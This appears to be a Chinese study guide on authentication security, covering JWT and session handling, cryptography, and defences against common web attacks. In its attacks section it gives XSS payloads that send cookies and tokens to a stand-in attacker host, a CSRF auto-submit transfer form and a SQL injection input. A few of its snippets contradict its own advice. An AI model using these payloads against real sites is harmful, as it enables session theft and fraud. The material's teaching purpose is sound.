Q3: JWT如何实现撤销(Revoke)?¶
回答要点:
问题:JWT无状态,一旦签发就无法撤销
解决方案:
1. 黑名单(Blacklist)
- 将撤销的jti存储在Redis
- 验证时检查是否在黑名单中
- 缺点:失去无状态优势
2. 短期Token
- Access Token:5-15分钟
- 即使泄露,影响时间也很短
- 配合Refresh Token使用
3. Refresh Token机制(推荐)
- Access Token:短期,不可撤销
- Refresh Token:长期,可撤销(存储在DB)
- 撤销时删除Refresh Token,Access Token很快过期
4. Token版本号
- Payload中包含tokenVersion
- 撤销时增加用户的tokenVersion
- 验证时对比版本号
- 缺点:需要查询数据库
实际选择:
- 低安全场景:短期Token(最简单)
- 一般场景:Refresh Token机制
- 高安全场景:黑名单 + 短期Token
面试加分项:
- 对比各方案优缺点
- 说明实际项目中的选择和原因
- 提到滑动过期策略
Q4: Refresh Token的作用和实现原理?¶
回答要点:
作用:平衡安全性和用户体验
问题场景:
- Access Token短期(15分钟):安全
- 但用户需要频繁重新登录:体验差
解决方案:双Token机制
架构:
Access Token:
- 有效期:短(5-15分钟)
- 用途:访问受保护资源
- 存储:内存或HttpOnly Cookie
- 不可撤销
Refresh Token:
- 有效期:长(7-30天)
- 用途:获取新的Access Token
- 存储:数据库(可撤销)+ HttpOnly Cookie(客户端)
- 可撤销
流程:
1. 登录 → 返回Access Token + Refresh Token
2. 访问API → 使用Access Token
3. Access Token过期 → 使用Refresh Token换新Token
4. Refresh Token过期 → 重新登录
优势:
- Access Token泄露影响小(很快过期)
- Refresh Token可撤销(登出、换设备)
- 用户体验好(长期免登录)
面试加分项:
- 说明Token轮换(Refresh Token Rotation)
- 提到Sliding Window策略
- 讲解移动端的实现差异
Q5: JWT应该存储在哪里?为什么?¶
回答要点:
选项对比:
1. localStorage
- 优点:使用方便
- 缺点:容易被XSS窃取
- 结论:不推荐
2. sessionStorage
- 优点:关闭标签自动清除
- 缺点:仍然容易被XSS窃取
- 结论:仅用于临时Token
3. HttpOnly Cookie(推荐)
- 优点:JavaScript无法访问,防XSS
- 缺点:需要CSRF防护(SameSite)
- 结论:最推荐
4. 内存变量
- 优点:安全性最高
- 缺点:刷新页面丢失
- 结论:适合SPA + 自动刷新机制
推荐方案:
Web应用:
- Access Token:内存 + 自动刷新
- Refresh Token:HttpOnly Cookie
移动应用:
- Access Token:内存
- Refresh Token:加密存储(Keychain/EncryptedSharedPreferences)
安全配置:
Set-Cookie: access_token=xxx;
HttpOnly; // 防XSS
Secure; // 仅HTTPS
SameSite=Strict; // 防CSRF
Path=/;
Max-Age=900
面试加分项:
- 对比不同存储方式的安全性
- 说明CSRF防护措施
- 提到移动端的特殊处理
总结¶
Session vs JWT 选择决策树¶
开始
│
├─ 是微服务架构?
│ ├─ 是 → 使用JWT
│ └─ 否 → 继续
│
├─ 是否需要跨域?
│ ├─ 是 → 使用JWT
│ └─ 否 → 继续
│
├─ 是否是移动端API?
│ ├─ 是 → 使用JWT
│ └─ 否 → 继续
│
├─ 是否需要频繁撤销会话?
│ ├─ 是 → 使用Session
│ └─ 否 → 使用JWT
│
└─ 单体应用 → 使用Session
最佳实践清单¶
Session最佳实践: - ✅ 登录后重新生成SessionID - ✅ 设置HttpOnly、Secure、SameSite - ✅ 分布式系统使用Redis存储 - ✅ 实施超时策略(固定+滑动) - ✅ 限制并发会话数
JWT最佳实践: - ✅ 使用强签名算法(HS256/RS256) - ✅ 设置合理的过期时间(15分钟) - ✅ 实施Refresh Token机制 - ✅ Token存储在HttpOnly Cookie或内存 - ✅ 不在Payload中存放敏感信息 - ✅ 验证所有标准Claims(exp, iss, aud) - ✅ 防止算法混淆攻击
通用安全实践: - ✅ 全站HTTPS - ✅ 实施CSRF防护 - ✅ 防止XSS攻击(输入验证、输出编码) - ✅ 日志记录和监控 - ✅ 定期安全审计
密码学基础¶
哈希(Hash)¶
**定义:**单向函数,将任意长度数据转换为固定长度的摘要,不可逆。
特性: - 确定性:相同输入产生相同输出 - 不可逆:无法从哈希值推导原始数据 - 雪崩效应:输入微小变化导致输出巨大变化 - 抗碰撞:难以找到两个不同输入产生相同哈希值
常用算法:
// MD5(已不安全,不推荐)
String md5 = DigestUtils.md5Hex("password");
// SHA-256(安全,但不适合密码存储)
String sha256 = DigestUtils.sha256Hex("password");
// BCrypt(推荐用于密码存储,自带盐值和成本因子)
String bcrypt = BCrypt.hashpw("password", BCrypt.gensalt(12));
// Argon2(最新推荐,2015年密码哈希大赛冠军)
Argon2 argon2 = Argon2Factory.create();
String hash = argon2.hash(10, 65536, 1, "password");
密码存储最佳实践:
public class PasswordService {
/**
* 密码加密存储
* 使用BCrypt,自动添加盐值
*/
public String encodePassword(String plainPassword) {
// cost factor = 12, 2^12 = 4096 轮
return BCrypt.hashpw(plainPassword, BCrypt.gensalt(12));
}
/**
* 密码验证
*/
public boolean verifyPassword(String plainPassword, String hashedPassword) {
return BCrypt.checkpw(plainPassword, hashedPassword);
}
}
// 数据库存储示例
// 原始密码: "myPassword123"
// 存储值: "$2a$12$R9h/cIPz0gi.URNNX3kh2OPST9/PgBkqquzi.Ss7KIUgO2t0jWMUW"
// ^^^ ^^ ^^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// | | | |
// | | | +-- 哈希值(31字符)
// | | +-- 盐值(22字符)
// | +-- cost factor
// +-- 算法标识(2a = BCrypt)
加密(Encryption)¶
**定义:**双向转换,可以解密还原原始数据。
对称加密¶
**特点:**加密和解密使用相同密钥。
常用算法: - AES(Advanced Encryption Standard):最常用,安全性高 - DES(已淘汰)、3DES(逐步淘汰)
/**
* AES加密示例
*/
public class AESEncryption {
private static final String ALGORITHM = "AES/GCM/NoPadding";
private static final int KEY_SIZE = 256; // 256位密钥
/**
* 加密数据
*/
public byte[] encrypt(String plaintext, SecretKey key) throws Exception {
Cipher cipher = Cipher.getInstance(ALGORITHM);
GCMParameterSpec parameterSpec = new GCMParameterSpec(128, generateIV());
cipher.init(Cipher.ENCRYPT_MODE, key, parameterSpec);
return cipher.doFinal(plaintext.getBytes(StandardCharsets.UTF_8));
}
/**
* 解密数据
*/
public String decrypt(byte[] ciphertext, SecretKey key, byte[] iv)
throws Exception {
Cipher cipher = Cipher.getInstance(ALGORITHM);
GCMParameterSpec parameterSpec = new GCMParameterSpec(128, iv);
cipher.init(Cipher.DECRYPT_MODE, key, parameterSpec);
byte[] plaintext = cipher.doFinal(ciphertext);
return new String(plaintext, StandardCharsets.UTF_8);
}
/**
* 生成随机IV(初始化向量)
*/
private byte[] generateIV() {
byte[] iv = new byte[12]; // GCM模式推荐12字节
new SecureRandom().nextBytes(iv);
return iv;
}
}
应用场景: - 数据库敏感字段加密(身份证、银行卡号) - 配置文件加密 - 传输层加密(TLS/SSL)
非对称加密¶
**特点:**使用公钥加密,私钥解密(或反之)。
常用算法: - RSA:最常用,适合加密和签名 - ECC(椭圆曲线):更短的密钥长度,相同安全性
/**
* RSA加密示例
*/
public class RSAEncryption {
/**
* 生成密钥对
*/
public KeyPair generateKeyPair() throws Exception {
KeyPairGenerator generator = KeyPairGenerator.getInstance("RSA");
generator.initialize(2048); // 2048位密钥
return generator.generateKeyPair();
}
/**
* 公钥加密
*/
public byte[] encrypt(String plaintext, PublicKey publicKey)
throws Exception {
Cipher cipher = Cipher.getInstance("RSA/ECB/OAEPWithSHA-256AndMGF1Padding");
cipher.init(Cipher.ENCRYPT_MODE, publicKey);
return cipher.doFinal(plaintext.getBytes(StandardCharsets.UTF_8));
}
/**
* 私钥解密
*/
public String decrypt(byte[] ciphertext, PrivateKey privateKey)
throws Exception {
Cipher cipher = Cipher.getInstance("RSA/ECB/OAEPWithSHA-256AndMGF1Padding");
cipher.init(Cipher.DECRYPT_MODE, privateKey);
byte[] plaintext = cipher.doFinal(ciphertext);
return new String(plaintext, StandardCharsets.UTF_8);
}
}
应用场景: - 数字签名 - 密钥交换 - SSL/TLS握手 - JWT签名(RS256算法)
数字签名¶
**定义:**使用私钥对数据进行签名,他人可用公钥验证签名,确保数据完整性和来源真实性。
流程:
/**
* 数字签名示例
*/
public class DigitalSignature {
/**
* 生成签名
*/
public byte[] sign(String data, PrivateKey privateKey) throws Exception {
Signature signature = Signature.getInstance("SHA256withRSA");
signature.initSign(privateKey);
signature.update(data.getBytes(StandardCharsets.UTF_8));
return signature.sign();
}
/**
* 验证签名
*/
public boolean verify(String data, byte[] signatureBytes, PublicKey publicKey)
throws Exception {
Signature signature = Signature.getInstance("SHA256withRSA");
signature.initVerify(publicKey);
signature.update(data.getBytes(StandardCharsets.UTF_8));
return signature.verify(signatureBytes);
}
}
应用场景: - JWT签名 - API请求签名 - 软件包完整性验证 - 区块链交易
常见攻击方式与防护¶
1. 暴力破解攻击(Brute Force Attack)¶
攻击方式: - 尝试所有可能的密码组合 - 使用常见密码字典
防护措施:
/**
* 登录失败次数限制
*/
public class LoginAttemptService {
private LoadingCache<String, Integer> attemptsCache;
public LoginAttemptService() {
attemptsCache = CacheBuilder.newBuilder()
.expireAfterWrite(1, TimeUnit.DAYS)
.build(new CacheLoader<String, Integer>() {
public Integer load(String key) {
return 0;
}
});
}
/**
* 记录登录失败
*/
public void loginFailed(String username) {
int attempts = attemptsCache.getUnchecked(username);
attempts++;
attemptsCache.put(username, attempts);
}
/**
* 检查是否被锁定
*/
public boolean isBlocked(String username) {
try {
return attemptsCache.get(username) >= 5; // 5次失败后锁定
} catch (ExecutionException e) {
return false;
}
}
/**
* 登录成功,重置计数
*/
public void loginSucceeded(String username) {
attemptsCache.invalidate(username);
}
}
其他防护手段: - 强密码策略(长度、复杂度要求) - 验证码(CAPTCHA) - 账户锁定策略(临时锁定/永久锁定) - 延迟响应(随着失败次数增加延迟时间)
2. 会话固定攻击(Session Fixation)¶
攻击流程:
防护措施:
/**
* 登录后重新生成SessionID
*/
public void onAuthenticationSuccess(HttpServletRequest request) {
HttpSession oldSession = request.getSession(false);
if (oldSession != null) {
// 保存旧会话数据
Map<String, Object> attributes = new HashMap<>();
Enumeration<String> names = oldSession.getAttributeNames();
while (names.hasMoreElements()) {
String name = names.nextElement();
attributes.put(name, oldSession.getAttribute(name));
}
// 使旧会话失效
oldSession.invalidate();
}
// 创建新会话
HttpSession newSession = request.getSession(true);
// 恢复会话数据
attributes.forEach(newSession::setAttribute);
}
3. 跨站脚本攻击(XSS - Cross-Site Scripting)¶
攻击类型:
- 存储型XSS:恶意脚本存储在服务器(如评论)
- 反射型XSS:恶意脚本在URL参数中
- DOM型XSS:通过修改DOM执行脚本
攻击示例:
<!-- 用户输入 -->
<script>
document.location='http://attacker.com/steal?cookie='+document.cookie;
</script>
<!-- 或窃取Token -->
<img src="x" onerror="fetch('http://attacker.com/steal', {
method: 'POST',
body: localStorage.getItem('token')
})">
防护措施:
/**
* 输出编码
*/
public class XSSProtection {
/**
* HTML实体编码
*/
public String encodeForHTML(String input) {
return StringEscapeUtils.escapeHtml4(input);
// < 转换为 <
// > 转换为 >
// " 转换为 "
// ' 转换为 '
}
/**
* JavaScript编码
*/
public String encodeForJavaScript(String input) {
return StringEscapeUtils.escapeEcmaScript(input);
}
/**
* URL编码
*/
public String encodeForURL(String input) {
return URLEncoder.encode(input, StandardCharsets.UTF_8);
}
}
其他防护: - Content Security Policy (CSP) 头 - HttpOnly Cookie(防止JavaScript访问) - 输入验证和过滤 - 使用安全的模板引擎(自动转义)
// Spring Boot CSP配置
@Configuration
public class SecurityHeadersConfig {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http.headers()
.contentSecurityPolicy("default-src 'self'; script-src 'self'");
return http.build();
}
}
4. 跨站请求伪造(CSRF - Cross-Site Request Forgery)¶
攻击流程:
1. 用户登录可信网站A,获得Cookie
2. 用户访问恶意网站B(未退出A)
3. 网站B返回攻击代码,向网站A发起请求
4. 浏览器自动携带网站A的Cookie
5. 网站A收到请求,以为是用户真实操作
攻击示例:
<!-- 恶意网站B的页面 -->
<img src="https://bank.com/transfer?to=attacker&amount=1000" />
<!-- 或者使用表单自动提交 -->
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker" />
<input type="hidden" name="amount" value="1000" />
</form>
<script>document.forms[0].submit();</script>
防护措施:
- CSRF Token(同步令牌模式)
/** * CSRF Token验证 */ public class CSRFProtection { /** * 生成CSRF Token */ public String generateToken(HttpSession session) { String token = UUID.randomUUID().toString(); session.setAttribute("CSRF_TOKEN", token); return token; } /** * 验证CSRF Token */ public boolean validateToken(HttpServletRequest request) { String sessionToken = (String) request.getSession() .getAttribute("CSRF_TOKEN"); String requestToken = request.getParameter("_csrf"); return sessionToken != null && sessionToken.equals(requestToken); } }
<!-- 在表单中包含CSRF Token -->
<form method="POST" action="/transfer">
<input type="hidden" name="_csrf" value="${csrfToken}" />
<input type="text" name="to" />
<input type="number" name="amount" />
<button type="submit">Transfer</button>
</form>
-
SameSite Cookie属性
-
验证Referer/Origin头
-
双重Cookie验证
5. SQL注入攻击(SQL Injection)¶
攻击示例:
// 不安全的代码
String username = request.getParameter("username");
String password = request.getParameter("password");
String sql = "SELECT * FROM users WHERE username='" + username +
"' AND password='" + password + "'";
// 攻击者输入:
// username: admin' --
// password: anything
// 生成的SQL: SELECT * FROM users WHERE username='admin' --' AND password='anything'
// -- 是注释符,后面的密码验证被注释掉了!
防护措施:
/**
* 使用预编译语句(Prepared Statement)
*/
public User findUser(String username, String password) {
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
try (Connection conn = dataSource.getConnection();
PreparedStatement stmt = conn.prepareStatement(sql)) {
stmt.setString(1, username); // 参数自动转义
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();
// 处理结果
}
}
/**
* 使用ORM框架(JPA/Hibernate)
*/
@Repository
public interface UserRepository extends JpaRepository<User, Long> {
// 自动使用参数化查询
User findByUsernameAndPassword(String username, String password);
// 或使用JPQL
@Query("SELECT u FROM User u WHERE u.username = :username AND u.password = :password")
User authenticate(@Param("username") String username,
@Param("password") String password);
}
6. 中间人攻击(Man-in-the-Middle Attack)¶
攻击方式: - 拦截客户端和服务器之间的通信 - 窃取敏感信息(密码、Token) - 篡改请求和响应
防护措施:
-
使用HTTPS
-
HTTP Strict Transport Security (HSTS)
-
证书固定(Certificate Pinning)
// 客户端验证服务器证书 public class CertificatePinning { public SSLContext createSSLContext() throws Exception { // 加载信任的证书 CertificateFactory cf = CertificateFactory.getInstance("X.509"); InputStream cert = getClass().getResourceAsStream("server.crt"); Certificate ca = cf.generateCertificate(cert); // 创建包含证书的KeyStore KeyStore keyStore = KeyStore.getInstance(KeyStore.getDefaultType()); keyStore.load(null, null); keyStore.setCertificateEntry("ca", ca); // 创建TrustManager TrustManagerFactory tmf = TrustManagerFactory.getInstance( TrustManagerFactory.getDefaultAlgorithm()); tmf.init(keyStore); // 创建SSLContext SSLContext sslContext = SSLContext.getInstance("TLS"); sslContext.init(null, tmf.getTrustManagers(), null); return sslContext; } }
安全最佳实践¶
1. 密码安全¶
强密码策略:
/**
* 密码复杂度验证
*/
public class PasswordValidator {
private static final int MIN_LENGTH = 12;
private static final Pattern UPPERCASE = Pattern.compile("[A-Z]");
private static final Pattern LOWERCASE = Pattern.compile("[a-z]");
private static final Pattern DIGIT = Pattern.compile("[0-9]");
private static final Pattern SPECIAL = Pattern.compile("[!@#$%^&*(),.?\":{}|<>]");
public ValidationResult validate(String password) {
List<String> errors = new ArrayList<>();
if (password == null || password.length() < MIN_LENGTH) {
errors.add("密码长度至少" + MIN_LENGTH + "个字符");
}
if (!UPPERCASE.matcher(password).find()) {
errors.add("至少包含一个大写字母");
}
if (!LOWERCASE.matcher(password).find()) {
errors.add("至少包含一个小写字母");
}
if (!DIGIT.matcher(password).find()) {
errors.add("至少包含一个数字");
}
if (!SPECIAL.matcher(password).find()) {
errors.add("至少包含一个特殊字符");
}
// 检查常见弱密码
if (isCommonPassword(password)) {
errors.add("密码过于常见,请使用更强的密码");
}
return new ValidationResult(errors.isEmpty(), errors);
}
private boolean isCommonPassword(String password) {
Set<String> commonPasswords = Set.of(
"password", "123456", "12345678", "qwerty",
"abc123", "password123", "admin"
);
return commonPasswords.contains(password.toLowerCase());
}
}
密码存储:
// ✅ 正确:使用BCrypt/Argon2
String hashedPassword = BCrypt.hashpw(plainPassword, BCrypt.gensalt(12));
// ❌ 错误:明文存储
String password = "myPassword123";
// ❌ 错误:简单哈希(MD5/SHA-256)
String md5 = DigestUtils.md5Hex(password);
// ❌ 错误:可逆加密
String encrypted = AES.encrypt(password, secretKey);
2. Token安全¶
JWT最佳实践:
/**
* JWT Token生成和验证
*/
public class JWTService {
private static final String SECRET_KEY = System.getenv("JWT_SECRET");
private static final long EXPIRATION_TIME = 3600000; // 1小时
/**
* 生成Token
*/
public String generateToken(User user) {
Date now = new Date();
Date expiry = new Date(now.getTime() + EXPIRATION_TIME);
return Jwts.builder()
.setSubject(user.getUsername())
.setIssuedAt(now)
.setExpiration(expiry)
.claim("userId", user.getId())
.claim("roles", user.getRoles())
// 使用强算法
.signWith(SignatureAlgorithm.HS512, SECRET_KEY)
.compact();
}
/**
* 验证Token
*/
public Claims validateToken(String token) {
try {
return Jwts.parser()
.setSigningKey(SECRET_KEY)
.parseClaimsJws(token)
.getBody();
} catch (ExpiredJwtException e) {
throw new TokenExpiredException("Token已过期");
} catch (JwtException e) {
throw new InvalidTokenException("无效的Token");
}
}
/**
* Token刷新策略
*/
public String refreshToken(String oldToken) {
Claims claims = validateToken(oldToken);
// 检查是否在刷新窗口内(例如:过期前15分钟)
Date expiration = claims.getExpiration();
long timeUntilExpiry = expiration.getTime() - System.currentTimeMillis();
if (timeUntilExpiry < 900000) { // 15分钟
// 生成新Token
return generateToken(loadUserFromClaims(claims));
}
return oldToken;
}
}
Token存储:
// ✅ 浏览器端推荐:HttpOnly Cookie
// 服务器设置:
response.addCookie(createSecureCookie("token", jwtToken));
// ⚠️ 备选:LocalStorage(容易受XSS攻击)
localStorage.setItem('token', jwtToken);
// ✅ 更好:使用sessionStorage(关闭标签后清除)
sessionStorage.setItem('token', jwtToken);
// ✅ 移动端:使用安全存储
// Android: EncryptedSharedPreferences
// iOS: Keychain
3. API安全¶
认证:
// 1. Bearer Token认证
@GetMapping("/api/users/me")
public User getCurrentUser(
@RequestHeader("Authorization") String authHeader
) {
String token = authHeader.replace("Bearer ", "");
return userService.getUserFromToken(token);
}
// 2. API Key认证(适用于服务间调用)
@GetMapping("/api/data")
public Data getData(
@RequestHeader("X-API-Key") String apiKey
) {
if (!apiKeyService.isValid(apiKey)) {
throw new UnauthorizedException();
}
return dataService.getData();
}
// 3. 签名认证(高安全场景)
@PostMapping("/api/payment")
public PaymentResult processPayment(
@RequestBody PaymentRequest request,
@RequestHeader("X-Signature") String signature,
@RequestHeader("X-Timestamp") long timestamp
) {
// 验证时间戳(防重放攻击)
if (Math.abs(System.currentTimeMillis() - timestamp) > 300000) {
throw new RequestExpiredException();
}
// 验证签名
String expectedSignature = calculateSignature(request, timestamp);
if (!signature.equals(expectedSignature)) {
throw new InvalidSignatureException();
}
return paymentService.process(request);
}
速率限制:
/**
* API速率限制(防止滥用)
*/
@Component
public class RateLimiter {
private final LoadingCache<String, AtomicInteger> requestCounts;
public RateLimiter() {
requestCounts = CacheBuilder.newBuilder()
.expireAfterWrite(1, TimeUnit.MINUTES)
.build(new CacheLoader<String, AtomicInteger>() {
public AtomicInteger load(String key) {
return new AtomicInteger(0);
}
});
}
/**
* 检查是否超过限制
* @param identifier 标识符(IP、用户ID、API Key)
* @param limit 每分钟最大请求数
*/
public boolean allowRequest(String identifier, int limit) {
try {
AtomicInteger counter = requestCounts.get(identifier);
return counter.incrementAndGet() <= limit;
} catch (ExecutionException e) {
return true; // 出错时允许请求
}
}
}
// 使用拦截器应用速率限制
@Component
public class RateLimitInterceptor implements HandlerInterceptor {
@Autowired
private RateLimiter rateLimiter;
@Override
public boolean preHandle(HttpServletRequest request,
HttpServletResponse response,
Object handler) throws Exception {
String clientId = getClientIdentifier(request);
if (!rateLimiter.allowRequest(clientId, 100)) { // 100次/分钟
response.setStatus(429); // Too Many Requests
response.getWriter().write("Rate limit exceeded");
return false;
}
return true;
}
private String getClientIdentifier(HttpServletRequest request) {
// 优先使用用户ID,其次使用IP
String userId = (String) request.getAttribute("userId");
return userId != null ? userId : request.getRemoteAddr();
}
}
4. 日志与监控¶
安全日志记录:
/**
* 安全事件日志
*/
@Component
public class SecurityLogger {
private static final Logger logger = LoggerFactory.getLogger(SecurityLogger.class);
/**
* 记录登录成功
*/
public void logLoginSuccess(String username, String ip) {
logger.info("Login successful - User: {}, IP: {}", username, ip);
}
/**
* 记录登录失败
*/
public void logLoginFailure(String username, String ip, String reason) {
logger.warn("Login failed - User: {}, IP: {}, Reason: {}",
username, ip, reason);
}
/**
* 记录访问被拒绝
*/
public void logAccessDenied(String username, String resource, String action) {
logger.warn("Access denied - User: {}, Resource: {}, Action: {}",
username, resource, action);
}
/**
* 记录可疑活动
*/
public void logSuspiciousActivity(String username, String activity,
Map<String, Object> details) {
logger.error("Suspicious activity detected - User: {}, Activity: {}, Details: {}",
username, activity, details);
// 触发告警
alertService.sendSecurityAlert(username, activity, details);
}
}
监控指标:
// 使用Micrometer监控认证指标
@Component
public class AuthenticationMetrics {
private final Counter loginAttempts;
private final Counter loginSuccesses;
private final Counter loginFailures;
private final Timer authenticationTime;
public AuthenticationMetrics(MeterRegistry registry) {
this.loginAttempts = Counter.builder("auth.login.attempts")
.description("Total login attempts")
.register(registry);
this.loginSuccesses = Counter.builder("auth.login.successes")
.description("Successful logins")
.register(registry);
this.loginFailures = Counter.builder("auth.login.failures")
.description("Failed logins")
.tag("reason", "invalid_credentials")
.register(registry);
this.authenticationTime = Timer.builder("auth.time")
.description("Authentication processing time")
.register(registry);
}
public void recordLoginAttempt() {
loginAttempts.increment();
}
public void recordLoginSuccess() {
loginSuccesses.increment();
}
public void recordLoginFailure() {
loginFailures.increment();
}
}
5. 安全配置清单¶
生产环境安全配置:
# application.properties
# 禁用不必要的HTTP方法
spring.mvc.dispatch-options-request=false
# 禁用详细错误信息
server.error.include-message=never
server.error.include-stacktrace=never
server.error.include-exception=false
# Session配置
server.servlet.session.timeout=30m
server.servlet.session.cookie.http-only=true
server.servlet.session.cookie.secure=true
server.servlet.session.cookie.same-site=strict
# 安全头
server.servlet.session.tracking-modes=cookie
# 禁用不安全的默认值
spring.security.filter.dispatcher-types=request,error,async,forward
/**
* 安全头配置
*/
@Configuration
public class SecurityHeadersConfig {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http.headers()
// 防止点击劫持
.frameOptions().deny()
// XSS保护
.xssProtection().enable()
// 内容类型嗅探保护
.contentTypeOptions().enable()
// HSTS
.httpStrictTransportSecurity()
.includeSubDomains(true)
.maxAgeInSeconds(31536000)
// CSP
.and()
.contentSecurityPolicy(
"default-src 'self'; " +
"script-src 'self' 'unsafe-inline'; " +
"style-src 'self' 'unsafe-inline'; " +
"img-src 'self' data: https:; " +
"font-src 'self' data:; " +
"connect-src 'self'"
)
// Referrer Policy
.and()
.referrerPolicy(ReferrerPolicy.STRICT_ORIGIN_WHEN_CROSS_ORIGIN);
return http.build();
}
}
总结¶
认证授权是应用安全的核心基石,需要理解以下关键点:
- 认证(Authentication) 确认"你是谁",授权(Authorization) 确定"你能做什么"
- 会话管理 有Session和Token两种方式,各有优劣,需根据场景选择
- 密码学 是安全的基础,理解哈希、加密、签名的区别和应用场景
- 安全威胁 无处不在,需要针对性防护(XSS、CSRF、SQL注入等)
- 最佳实践 包括强密码策略、安全的Token管理、完善的日志监控
学习路径建议: 1. 掌握基础概念和原理(本文档) 2. 学习主流协议和标准(OAuth2、JWT、SSO) 3. 实践框架应用(Spring Security) 4. 深入架构设计(微服务安全、分布式会话)
继续学习下一章:认证协议与标准